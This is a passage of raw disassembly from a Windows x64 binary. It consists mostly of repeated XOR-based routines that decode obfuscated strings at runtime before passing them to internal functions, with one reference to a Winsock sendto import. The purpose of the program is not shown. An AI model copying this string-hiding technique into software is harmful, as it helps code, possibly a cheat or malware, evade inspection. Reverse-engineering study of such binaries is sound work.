mov r8d, 0x30120
lea rdx, [0x140160a88]
lea rcx, [rbp + 0x260]
call fcn.140042fc0
movups xmm0, xmmword [0x140145088]
movups xmmword [rbp + 0xdb8], xmm0
mov eax, dword [0x140145098]
mov dword [rbp + 0xdc8], eax
cmp byte [0x14014509b], 0
je 0x1400a0260
mov r8d, r13d
cmp r12d, 2
jl 0x1400a0219
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xdbc]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a0110
cmp r8d, 0x14
jge 0x1400a0260
movsxd rax, r8d
lea r9, [rbp + 0xdb8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400a0230
movzx eax, word [0x1401446e4]
mov word [rsp + 0x64], ax
movzx eax, byte [0x1401446e6]
mov byte [rsp + 0x64], 0x49
xor byte [rsp + 0x65], 0x39
xor al, 0x3a
mov byte [rsp + 0x66], al
lea r9, [rbp + 0xdb8]
mov r8d, 0x30120
lea rdx, [0x140160a98]
lea rcx, [rsp + 0x64]
call fcn.140042fc0
movups xmm0, xmmword [0x140145e70]
movups xmmword [rbp + 0x10f0], xmm0
movsd xmm0, qword [0x140145e80]
movsd qword [rbp + 0x1100], xmm0
movzx eax, byte [0x140145e88]
mov byte [rbp + 0x1108], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a0419
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x10f4]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a0310
cmp r8d, 0x19
jge 0x1400a0460
movsxd rax, r8d
lea r9, [rbp + 0x10f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400a0430
movsd xmm0, qword [str.vXWHYL_]
movzx eax, byte [0x1401464d8]
movsd qword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2e0], Ordinal_79
xor byte [rbp + 0x2e1], 0x39
xor byte [rbp + 0x2e2], 0x3a
xor byte [rbp + 0x2e3], 0x3b
xor byte [rbp + 0x2e4], 0x3c
xor byte [rbp + 0x2e5], 0x3d
xor byte [rbp + 0x2e6], 0x3e
xor byte [rbp + 0x2e7], 0x3f
xor al, 0x40
mov byte [rbp + 0x2e8], al
lea r9, [rbp + 0x10f0]
mov r8d, 0x30120
lea rdx, [0x140160ae8]
lea rcx, [rbp + 0x2e0]
call fcn.140042fc0
movups xmm0, xmmword [0x140146da0]
movups xmmword [rbp + 0x1330], xmm0
movsd xmm0, qword [0x140146db0]
movsd qword [rbp + 0x1340], xmm0
mov eax, dword [0x140146db8]
mov dword [rbp + 0x1348], eax
movzx eax, word [0x140146dbc]
mov word [rbp + 0x134c], ax
cmp byte [0x140146dbd], 0
je 0x1400a06b0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a0669
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1334]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a0560
cmp r8d, 0x1e
jge 0x1400a06b0
movsxd rax, r8d
lea r9, [rbp + 0x1330]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400a0680
mov rax, qword [str.PIXSOZ_e]
mov qword [rbp + 0x268], rax
cmp byte [0x140146b67], 0
je 0x1400a0820
cmp r12d, 2
jl 0x1400a07dc
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x268]
xorps xmm2, xmm1
movd dword [rbp + 0x268], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x26c]
xorps xmm2, xmm1
movd dword [rbp + 0x26c], xmm2
jmp 0x1400a0820
lea r9, [rbp + 0x268]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400a07f0
lea r9, [rbp + 0x1330]
mov r8d, 0x30120
lea rdx, [0x140160a58]
lea rcx, [rbp + 0x268]
call fcn.140042fc0
movups xmm0, xmmword [0x1401464f0]
movzx eax, byte [0x140146500]
movups xmmword [rbp + 0xb90], xmm0
mov byte [rbp + 0xba0], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a09a9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb94]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a08a0
cmp r8d, 0x11
jge 0x1400a09f0
movsxd rax, r8d
lea r9, [rbp + 0xb90]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400a09c0
mov rax, qword [0x140145020]
mov qword [rbp + 0x58], rax
cmp byte [0x140145027], 0
je 0x1400a0b50
cmp r12d, 2
jl 0x1400a0b0d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x58]
xorps xmm2, xmm1
movd dword [rbp + 0x58], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5c]
xorps xmm2, xmm1
movd dword [rbp + 0x5c], xmm2
jmp 0x1400a0b50
lea r9, [rbp + 0x58]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400a0b20
lea r9, [rbp + 0xb90]
mov r8d, 0x30120
lea rdx, [0x140160a40]
lea rcx, [rbp + 0x58]
call fcn.140042fc0
movups xmm0, xmmword [0x140144460]
movups xmmword [rbp + 0xc80], xmm0
movzx eax, word [0x140144470]
mov word [rbp + 0xc90], ax
cmp byte [0x140144471], 0
je 0x1400a0d30
mov r8d, r13d
cmp r12d, 2
jl 0x1400a0ce9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xc84]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a0be0
cmp r8d, 0x12
jge 0x1400a0d30
movsxd rax, r8d
lea r9, [rbp + 0xc80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400a0d00
movups xmm0, xmmword [str.wLNWUS_]
movups xmmword [rbp + 0xac0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a0ed0
cmp r12d, 2
jl 0x1400a0e94
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xac4]
mov r8d, dword [rbp + 0x17a0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a0d92
jmp 0x1400a0ed0
lea r9, [rbp + 0xac0]
mov r8d, r13d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a0ea0
lea r8, [0x1401a983f]
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0xac0]
call fcn.14007f300
movsd xmm0, qword [str.lBO]
movsd qword [rbp + 0x370], xmm0
movzx eax, word [0x140146948]
mov word [rbp + 0x378], ax
cmp byte [0x140146949], 0
je 0x1400a0f5b
mov byte [rbp + 0x370], 0x54
xor byte [rbp + 0x371], 0x39
xor byte [rbp + 0x372], 0x3a
xor byte [rbp + 0x373], 0x3b
xor byte [rbp + 0x374], 0x3c
xor byte [rbp + 0x375], 0x3d
xor byte [rbp + 0x376], 0x3e
xor byte [rbp + 0x377], 0x3f
xor byte [rbp + 0x378], 0x40
xor byte [rbp + 0x379], 0x41
mov dword [rbp + 0x18a8], reloc.WS2_32.dll_sendto
mov dword [rbp + 0x18a0], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r15
lea rax, [rbp + 0x18a8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x18a0]
lea r8, [0x14016ff38]
mov edx, 4
lea rcx, [rbp + 0x370]
call fcn.14003b8c0
call fcn.14000cdc0
jmp 0x1400ac87a
cmp byte [0x1401ab1be], 0
je 0x1400a4ea4
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
movss dword [rax + 0x118], xmm8
movss dword [rax + 0x11c], xmm7
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movups xmm0, xmmword [0x140146d90]
movups xmmword [rbp + 0xad0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a11a0
cmp r12d, 2
jl 0x1400a1162
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xad4]
mov r8d, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a1060
jmp 0x1400a11a0
lea r9, [rbp + 0xad0]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a1170
mov rax, qword [0x140144cd0]
mov qword [rbp + 0x60], rax
cmp byte [0x140144cd7], 0
je 0x1400a1300
cmp r12d, 2
jl 0x1400a12bd
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x60]
xorps xmm2, xmm1
movd dword [rbp + 0x60], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
jmp 0x1400a1300
lea r9, [rbp + 0x60]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400a12d0
mov r9b, 1
movss xmm0, dword [0x1401493c0]
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0xad0]
lea rcx, [rbp + 0x60]
call fcn.14007f140
movups xmm0, xmmword [0x140144a50]
movups xmmword [rbp + 0xf50], xmm0
mov eax, dword [0x140144a60]
mov dword [rbp + 0xf60], eax
movzx eax, word [0x140144a64]
mov word [rbp + 0xf64], ax
cmp byte [0x140144a65], 0
je 0x1400a14f0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a14a9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xf54]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
